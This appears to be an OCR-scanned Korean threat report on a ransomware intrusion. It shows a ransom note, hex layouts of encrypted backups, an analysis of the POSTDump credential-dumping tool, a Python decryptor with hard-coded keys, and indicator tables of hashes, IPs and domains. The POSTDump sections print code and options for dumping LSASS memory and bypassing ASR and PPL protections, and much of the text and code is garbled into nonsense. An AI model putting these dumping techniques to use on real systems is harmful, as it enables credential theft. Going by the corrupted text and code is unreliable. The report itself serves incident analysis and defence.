00010020: 67 CS 44 BB 8B 06 3D 61 56 SE 91 A9 F4 FO 83 SF g D S=a VAPTES -]
00010030: 98 7E 32 C9 35 70 6B 91 99 39 61 18 4C 01 E9 7F ~2. 5p a7 an e

0I5 S, AIE Az =]

¥ encrypted_file 0x00EE000OG 0x0001003F 65600 bytes

» Randomkey [ 0x00000000 0x0000001F 32 bytes
RandomKeySize  [RREEEEN 0x00000020 0x00000021 2 bytes
DataSize ~ 0x00000022 0x00000023 2 bytes

> IV 000000024 0x0000002F 12 bytes

» Encryptedata | 0x00000830 0x8001002F 65536 bytes
GenTag B 0x00010030 0x0001003F 16 bytes

bet] ] e ) o e ]

Figure 133. Xbak +=&
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&) dec_c645efccdngi.bak
Offset (h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text
00000000 28 B5 2F FD 04 60 74 CS5 05 EC 3D 0B 21 52 65 61 (u/¥. th.i=.!Rea
00000010 €4 €D 65 2E 74 72 74 00 30 30 30 30 36 36 36 00 dme.txt.0000666.
00000020 30 30 30 30 30 30 30 32 35 36 35 00 31 32 33 33 00000002565.1233
0000009 £ gec cp4Sefcedngi.tar 0|2 or= 37 o= 37
0000004 = gl 1= 2= 37| #2371
0000004 B excel2007 xlsx 8,021 8,021 p.
0000004 =| IReadme.txt 1,397 1,397 |t
000000; 001.png 5,260 5,260 f*
0000003 (&) help.pdf 5,696,469 5,696,469 |2
0000004 = ht
0000001 [/ Welcome to Hwp.hwp 23,552 23,552 g
0000008 & XMLhtml 338 338 -
000000( @< Welcome to Word.docx 13,632 13,632 rh
000000] [5] 0.bmp 436 436 |G
000000Eu JZ4 ©OL 1Y £ZU ©D 0D OL OL £U <L &U %LU ©OL /2 1d <£U Lfay Ceil , mars
Figure 134. == al& H|O|E
HELEQ| E7= SYUSHKIZE Y= 2dE A2 2fele o+ ULt
O|H|¥: dongileng.another679@passinbox.com
) backup_log.txt - Windows 0 2% - O X

o BEE MA©O BV ESZH)

Your files have been encrypted and downloaded.

We can assist vou in recovering vour files.

Contact us on this support email: dongileng.another679@passinbox.com

If vou do not follow the instructions, vour files, databases, sensitive customer information, and backdoor access to
vour network will be leaked to the press and sold on the dark web. We will also inform vour customers of the leak.

Figure 135. backup_log.txt #HEL-E
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Related 1. POSTDump

- post.jpg

« .NETdIl It&d=2 LSASS Z=MA D|LEHT QE AA EH0|CH

- MD5: FC971483F8FC7580A5ED3626B54E8ES2

iz dE2 400 Aoz MEE SH0| YA QUKL C2 M HRO| EXsh=s T2

—_ =

4

F7HHel 24 Tt Case O|Ct.

o 0lg
= m mm . J\post,jpg_fc971483f8fc7580a5ed3626b54e8e52.vir
I+ EF File size NEZ4 g A
PE32 ~ 379.00 KiB 10000000 1006024 (=2
ooz == FHHZ2 H ECAHY || m#A =AE AMILIA || >]VirusTotal
& MIME I Visualization | | SO 2444 A | SRHERD | |V Extractor || {} YARA
O re LHELH 2 = | bR 27| CF [ enmess & NET i:TLS E 2H 20|
M .NETID 0lgrA 221 2|z
0003 D ba3d1185 00066000 2 Manifest | | @ HE
2 s E= OFZIE A 3
AtSE 2l v LE 32HIE 1386 DLL
v PE32
=3 A A8 Windows(95)[1386, 32HI E, DLL] S
2l AH: Microsoft Linker S ?
AHH: MSIL/CE S ?
cHOlE212l: .NET Framework(v4.5.1, CLR v4.0.30319) S ?
IZ 2EIF: Confuser(1.X) S ?
(Heur) 2 Z: Obfuscation[CLR constructor + Anti-ILDASM + Ctrl flow + Math mutations + Waterma... S ?
(Heur) 2 &: Anti analysis[Anti-debug] S ?

Figure 136. ME N
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ot 0g
= = u = o post,jpg_noanti_un.vir
o Erg File size NEZL g AE
PE32 v 180.50 KiB 00400000 0042e85e (=2
Li =Sl EHHZ22 ¢ EOANY | @A =AE AJLA | >]VirusTotal
@ MIME P visualization | | SO 2 HolA | SENERD | |V Extractor || I VARA
Oee HELZ | [EI2HHRD] || £ 2la2 | |e# NET | [Z0i:TLS | |[E 2H20l
M MZHER AT o[orx 22 oA
0003 =3 2025-08-19 15:27:28 00034000 2 Manifest | |@QHF
M HICI ac OF2154 A =8
A= ol - LE 32HIE 1386 22
v PE32
= A AH: Windows(95)[1386, 32H|E, 5] S ?
2l H: Microsoft Linker(11.0) S ?
AHH: MSIL/CE S ?
cHlI1E242l: .NET Framework(v4.5.1, CLR v4.0.30319) S ?
T 3: deddot[deobfuscated] S ?

Figure 137. t=2} SH{x|
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nal] args)

s = new Postdump.Cla n
+ " ' JToString( "ddMMyyyy_HH-mm" ) + “.dmp";

®th

{text5.Equa

5.Equal
flag = true;
(text5.Equals{“--snap”))
textd = "snapshot™;
(text5.Equals("--fork"))
textd = "fork";
(text5.Equals(“--elevate-handle”))

fla

Figure 138. M2 POSTDump Mol =
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namespace POSTDump

internal class Postdump

public static void Main(string[] args)

I
L

string filename = System.Environment.MachineName + + DateTime.Now.ToString("ddMMyyyy_ HH-mm")
bool Encrypt = false
bool Signature = false;
bool Elevate = false;

bool driver = false;

bool Kill = false;

bool Asr = false;

string Output = string.Empty;
int processid = @;

string tech = "fork";

foreach (string arg in args)

{
if (arg.Equals("--signature™) || arg.Equals("-s"))
{
Signature = true;
}
if (arg.Equals("--encrypt™) || arg.Equals("-e"))
{
Encrypt = true;
¥
if (arg.Equals("--snap"))
{
tech = "snapshot”;
¥

if (arg.Equals("--fork™))

Figure 139. @EAA PostDump HQ! Z=

dE0| B7[E MERL QE 220 SHE ABHEO| JERE SEoH, dE ZEoE live,

fromfile &40| E=XHtCt,

. -encrypt, -e C ot dump in-memors S s - Generate invalid Minidump signature
#n--outfile, -o - Output file where to write dumptn nap - Use apshot technictn or Use for
[default]#in--duplicate-el for existing 5 handle to duplic z

ndle to with low vileges and duplicate it to gain higher privilegesth Ve 3 reds from
without writing 0 Wh--fromfile|- P creds from dump fi r dump

R bypass (no . BNCKY available ¥n--driver, e Pro Explorer dri to open
nd dump | i Proc “plorer driver to kill pro nd exit#n--
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static void Help()
{
Console.WriteLine(@"" +
"-e, --encrypt - Encrypt dump in-memory\n" +
"-s, --signature - Generate invalid Minidump signature\n" +
"-0, --outfile - Output file where to write dump\n™ +
"--snap - Use snapshot technic\n" +
"--fork - Use fork technic [default]\n" +
"--duplicate-elevate - Look for existing lsass handle to duplicate and elevate\n" +
"--elevate-handle - Open a handle to LSASS with low privileges and duplicate it to gain higher privileges\n" +
"--asr - Attempt LSASS dump using ASR bypass (winl@/11/2019) (no signature/no encrypt)\n" +
"--driver - Use Process Explorer driver to open lsass handle (bypass PPL) and dump lsass\n" +
"--kill [processID] - Use Process Explorer driver to kill process and exit\n" +
"--help - Display help™ +
)5

return;

—

Figure 141. 2LE AA APBY =5 IC

- B 2o SXHo| 54 Mg

-e, --encrypt: BX| 2|I|E s O|L] EZ HIO|HE xor 111 Hit = MEIC}

baseaddr, ng RegionSize)

1Jnum < RegionSize)

pr_ R¥s(baseaddr, (longjnum);

num++;

Figure 142. xor &t RE=
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-s, --signature: ARl minidump THEE eS| 2e) HRE MES A5t AF8StTh

Signature, It uint ¥Yersion,

Implementation¥Yersion)

Random random = new Random(

Signature 3472 ;

Yersion

Implementation¥ersion = 0;
s (true)

{Signature != 1347241037u && Yersion

{ Implementation¥ersion != 0)

Signature = (uint)random.

Signature |= {(Signature

Signature |= (Signature

Signature |= (Signature

Yersion = (uint Jrandom

Yersion |= (¥Yersion

Yersion |= (¥Yersion

Implementation¥ersion

Implementation¥ersion JCL
Implementation¥ersion ZlmplementatlonVer5|0n-

Figure 143. invalid signature
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--asr: ASR HXME 2Bt} (signature, encrypt &4

UNICODE_STRING
(ref uNICOD

("RtICreatePro

truct.

1long JuNICODE_STRI
UNICODE_STRING

{"NtCreatel

ata.
(1[TH
ate ;
yInformationPro

i dump. i
expr_1ED{ zero
intPtr )
[

intPtr, arra

gkDAwD
SCOmf

111

t(Data.

allPtr

C_ INFORMAT ION,




--kill: Process Explorer 2| Procexp.sys E2t0|HE Sl TZMAE ZS=2oICL

hProtectedProcess, GetLsassHandle

Driver.ntdeviceptr 08 SC .Ge cal IPtr{ “NtDeviceloControlFile
hProtectedProcess Z

e500HEpEUR0,
intPtr

intptr_

64 . exe -accepteula /t#"

(pid > 0 && Driver.sn (intPtr2, pid, out hProtectedProcess) Driver
{hProtectedProcess, intPtr2, pid))

+] Proc “ + pid.ToString() " suC sful ly killed!");

{GetLsassHandle)

pid = Pros N Jol.

Driver. (intPtr2, pid, out hProtectedProcess);

Figure 145 kill 8 2=

--driver: Process Explorer 2| Procexp.sys E2t0|HHE Sdlf PPL(Protected Process Light, ES &

52 I2NA) 22 = Isass HES ¥ HIICL



(flagd)

Driver, (0,

irtualMem peof(Postdump.
numé, 4 , 4u) != Data.NTS

("Could not allocate memory for the dump!");

Figure 146. driver &M ZE

(flag?)

Program.M {dump_context .B Addri , dump_context.rva,

--fromfile: Y& HX TAS Y= Lot HZ|oM 2T XtH STS THISt

I

Program.H { dump_cont
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> Minidump

Program

[1 buffer

unma
Unmani
unma

binaryReader =

binar Bina

Program. miniOump =

{bina

miniDump, f
miniODump.h
List<Minidump.Str
Minidump.Str
10,
miniDump

Header.
LOi

oduleList.

dll_t

(current.name.Conta

miniDump.sysinf

miniDump. |s

miniOump. o

miniDump.k
{(miniDump.s

Directory.
miniDump,

cryptor.

baseaddr,

ader(

t(Program.
binar ader;
{miniDump);
tory.

mestamr

current

y.dlilt))

(miniDump, msYy.

(file,

miniDump.

{miniDump,
519, {miniDump,

Unmanagediemory

FileMode,

list_ =

(miniDump);

dules)

nt Jeurrent . timesta

aTemplate.
B {miniDump.sys
(miniDump, kerber

(miniDump.sysinfo

Figure 149. live/fromfile SM0IA AFEEl= 22| THY ZE
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tempHandle)

tempHandle, procHandle, 1u, Ou):

; all.G
.Delegatel6))) tempHandle, 1u, t dumpHandle, (

expr_5B(tempHandle);
!{dumpHandle == JZero);

tCaptureSnapshot failed.");

dumpHandle)

dumpHandle LZero;
(( .Delegatel19) G f {Postdump.
a ), f( 13 dumpHandle,
procHandle, se, .Zero, JZBero, JZEro);
{dumpHandle == )

( Postdump.

Figure 151. fork M 2=
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re) A O
- Y MBS

ot
o
£

(id)

ne{"No handle to duplicate found."):

stem failed!™ )

deziredﬁc

ng (List< >, enumerator = list.GetEnumerator{))

e (enumerator.MoveNext{ ))

i o | (enumerator. , desiredAccess,
dump_context .hProcess))
flag9 = tr
("Elevate handle succ

Figure 152. duplicate-elevate &M ZE
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zero, 4096u))

( 1{textd == "snapshot”))
{(textd == "fork")

desiredAct

desiredAccess = 1152u;

(! . (zero, desiredac , 0Ou, ut zero2))

{("Elevate handle failed.");

{"Elevate handle suc

Figure 153. elevate-handle M Z=
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233t A=

—_
N

37t 7tset python ZEO|H,

= -
SHHT}. O|mf uHey mUO| MHE AAECl CPU ZO E --proc NS S THHOF =

— O

# TUW UYE TAS Sof JIB BFS| =B

oY 4> T

P7b SRS

# Required packages:
# pip install argon2-cffi pycryptodome

import struct

import binascii

import re

import argparse

import 0s

from argon2.low_level import hash_secret_raw, Type
from Cryptodome.Cipher import AES

OPT_PROC_CNT =0

def get_contact(file_path: str}):
pattern = r'(http[s]?://[a-zA-Z0-9\.]+\.onion\b|[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-ZA-
Z|{2,})"

with open(file_path, "r", encoding="utf-8") as f:
text = f.read()
contacts = re.findall(pattern, text)
contacts = list(set(contacts))

for contact in contacts:

print(f" Extract Contact: {contact}")
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return contact

return None

def get_static_key(bak_file_path: str, note_file_path: str}):
contact = get_contact(note_file_path)

if contact == "h.majestic947@passinbox.com":
return
"4e346867081521004b394c5f35600e06072601395¢5f35005079694e686¢473b795739212e40
016d0b79350f2a51280¢513b273b521b2c21"
elif bak_file_path.endswith("sinar.bak"}:
if contact == "on2jtree2bck4rux3xg5zbhpx4okfdpxpmergyrsgoronkéuuuodvagd.onion™:
return
"4e346867081521004b394c5f35600e06072601395¢5f35005079694e686¢473b795739212e40
016d0b79350f2a51280¢513b273b521b2c21"
elif bak_file_path.endswith("dngi.bak"):
if contact == "dongileng.another679@passinbox.com":
return
"4e346867081521004b394c5f35600e06072601395¢5f35005079694e686¢473b795739212e40
016d0b79350f2a51280¢513b273b521b2c21"
elif bak_file_path.endswith("jamwu.bak"):
if contact == "alans.help@axelglue.store™:
return
"ec3ddal75ca978cb9c6a8b36791827a44a9e0553c98fbc67154e3b62d087a1f9"
elif bak_file_path.endswith("taib.bak"):
if contact == "taib.help@axelglue.store™:
return
"02f415a8e786b93a8bd0a5fc4e193f6772a34489¢237e655d4009bcd5711229"
elif bak_file_path.endswith("samc.bak"):
if contact == "samc.help@axelglue.store™:
return
"02f415a8e786b93a8bd0a5fc4e193f6772a34489¢237e655d4009bcd5711229"
elif bak_file_path.endswith("ucsi.bak"}:
if contact == "ucsi.help@axelglue.store™:
return
"02f415a8e786b93a8bd0a5fc4e193f6772a34489¢237e655d4009bcd5711229"
elif bak_file_path.endswith("ya2hsc.bak"):
if contact == "rhs.help@axelglue.store":
return
"07040707050404003b6c3¢2525200726002c01292¢4f05702d09193e181¢374b092749515e307
11d7b09457f5a21587¢214b574b226b5¢51"
elif contact == "ucsi.help@axelglue.store™:
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return
"47747877787571704b597¢c5f55507e76775671595¢3f75005d79694e686¢473b795739212e4001
6d0b7935012a51280c513b273b521b2c21"
elif bak_file_path.endswith("wpl.bak"):
if contact == "wpl.help@axelglue.store":
return
"fb2a70004bbe6fdc02591075¢790b623452acd004bbebfdc5d891244de101070"

print(" ! Not matching static key")
return None

def create_key(static_key, key_data):
if static_key is None:
return None
static_key = binascii.unhexlify(static_key)

print(* Argon2 static (hex):", static_key.hex(}))

parallelism = 2

if len(static_key) == 32:
parallelism = os.cpu_count()

if OPT_PROC_CNT != 0:
parallelism = OPT_PROC_CNT

argon2_hash = hash_secret_raw(
secret=static_key,
salt=key_data,
time_cost=1,
memory_cost=0x8000,
parallelism=parallelism,
hash_len=32,
type=Type.ID

return argon2_hash

# |V change rules

def increment_iv(iv_tail: bytes, idx: int) -> bytes:
iv_tail_int = int.from_bytes(iv_tail, byteorder='little') * idx
return iv_tail_int.to_bytes(4, byteorder='little')

def decrypt_aes_gcm_chunks_fixed_key_iv(bak_path: str, out_path: str, note_path: str):
with open(bak_path, "rb") as f, open(out_path, "wb") as out:
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idx =0

key_data = f.read(32)

idx += 32

if len(key_data) < 32:
print(" !l Too short file length.")
return

static_key = get_static_key(bak_path, note_path)
key_data = create_key(static_key, key_data)
if key_data is None:
print(* !!! Create key fail.")
return
print(f" Generated Key (32 Bytes): {key_data.hex()}")

block_idx = 0
base_iv = None
iv_tail = None
seed_iv = None

while True:
key_size_bytes = f.read(2)

if key_size_bytes == b'":
print(" -- EOF --")
break

idx += 2

key_size = struct.unpack("<H" key_size_bytes)[0]
if key_size != 0x20:
print(f" ! Unexpected key size! {key_size}")
break

enc_size_bytes = f.read(2)
idx += 2
if len(enc_size_bytes) < 2:

print(* ! Insufficient ciphertext size information!")

break

enc_size_raw = struct.unpack("<H" enc_size_bytes)[0]

enc_size = 0x10000 if enc_size_raw == OxFFFF else enc_size_raw + 1

print(f" [Block {block_idx}] encrypted_size={hex(enc_size)}")

seed_iv = f.read(12)
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idx +=12
if len(seed_iv) < 12:
print(* 'V read fail!")
break
base_iv = seed_iv[:8]
iv_tail = seed_iv[8:]
new_tail = increment_iv(iv_tail, block_idx)
iv = base_iv + new_tail
print(f" [Block {block_idx}] IV: {iv.hex(}}")
print(f" [Block position] {hex(idx)}")

encrypted_with_tag = f.read(enc_size + 16)
idx +=enc_size + 16
if len(encrypted_with_tag) < enc_size + 16:
print(f" !l Failed to read ciphertext & tag! expected size: {enc_size + 16}, "
f'real size: {len(encrypted_with_tag)}")
break

try:
cipher = AES.new(key_data, AES.MODE_GCM, nonce=iv)
ciphertext = encrypted_with_tag[:-16]
tag = encrypted_with_tag[-16:]
decrypted = cipher.decrypt(ciphertext)
out.write(decrypted)
except Exception as e:
print(f" !l Decrypt fail: {e}")
break

block_idx +=1

print(* Decrypt success.")

if __name_ =="_main_"
parser = argparse.ArgumentParser(description="Usage options")
parser.add_argument("--bak" required=True, help="Backup file path")
parser.add_argument("--note" required=True, help="Ransomnote file path")
parser.add_argument("--proc", type=int, help="Infected system's process core count")

args = parser.parse_args()
backup_path = args.bak

output_path = backup_path + "tar.zst"
ransom_note_path = args.note

if args.proc:
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OPT_PROC_CNT = args.proc

print("** Backup file decrypter **")

(
print(f" Backup file path: {backup_path}")
(
(

print(f" Ransomnote file path: {ransom_note_path}")

print(f" Decrypt file path: {output_path}"}

decrypt_aes_gcm_chunks_fixed_key_iv(backup_path, output_path, ransom_note_path)
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2) 1oC

- 9Z oMAC
Loader 1jpg 11C196DA56A522AB2F86AB4C1023B835123A418D
Downloader msc.jpg 39AA0AEBO039823BCFAS2D81FA71D668EGBD13ED
Sliver beac.jpg 8AEOQ/5B6A2FB437F74B35CF218FCDO067539FA27B
Tokenvator toke.jpg 01381A20F03B2C985B123EDCEBEF56B/A53E175D
Sharplnjector  si.jpg 34F167DESD69CASAEFAAS9FADFBSD5D16604D138
Donut bea.jpg 5A6DBBE8BD7CB529F/BF2CD8FO10BF28F4E231ED4
prod.jpg AODO4AAD2945D5BDF13FABOFES1D2B030F970607
mod_bea.jpg 849AABE75504890D536D16D23F10F/A958776C33
sysad.exe CDADB898B46A26BF0413F7C258F/D3A07026F8BAC
- 2562C6FADBF27D8703442E67BBF4083795C827DB
sysadc.exe C4C95472B7E991BCDEBDO0568F20FOAE7784ADEB
alans.exe 09B12739B7B2B34395AC9035A49C0CCDDO88E2BE
SRRBENZT.exe 5D94692401170B215ECFF7DEABO3A123A1BD4CD8
Wiper taib.exe B2EA4F77CF5D4ACF3ADAETAOOF5D7FA2919DC8FD
ran.exe 3F6365E381836C5BFB1CFBO70DOEDCS5D439FA7EY
- F3B25222F67D65C88BF15894E3608FF20A586367
senai.exe 505D5E4A83087477B957EBEE15BA248F0A7FOBOB
install.exe 85D15689C80BAF5FDDBAEFEATS5417F 38EA9OBFAEE
sinarr.exe CEDBA5F174FAD396280B89CFD8A36DA4EOD762CC
- 6BE237970B2A1402EFD6378F6106992079027863
cola.exe B8463A3422F33C63F979F01A94276A5880C8F3D2
rhs.exe O8FF3B1F6A191F2B6FEAEAFAAFS77015FF141E2F
POSTDump post.jpg 33D5ESCFADD50BF3A96E16DB73AA0F82477D6FEF
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IP

IP ool

18417818168 employees.medicalcenterclinic.com

72.5.42.46 ba.joe.dj, hanwha.tafca.co.uk, hanwha.bgsys.co.kr,
144172.95.65 hanwha.bgsys.co.kr, hanwha.tafca.co.uk, ba.sv-italia.it, ba.joe.d;
144172103.233 hanwha.tafca.co.uk, ba.sv-italia.it, ba.joe.d]
107189.18.50 hanwha.tafca.co.uk, ba.joe.dj

107189.26.54 hanwha.tafca.co.uk, ba.joe.dj, ba.sv-italia.it
10718919.18 hanwha.tafca.co.uk, ba.sv-italia.it, ba.joe.d]
14417211539  ba.sv-italia.it, ba.joe.d]

144172108160 ba.sv-italia.it, ba.joe.d]

96.9124.230 ba.sv-italia.it, ba.joe.d]

45.61137.211 ba.sv-italia.it

107189.22.8 ba.joe.dj

168.100.9.77 ba.joe.dj
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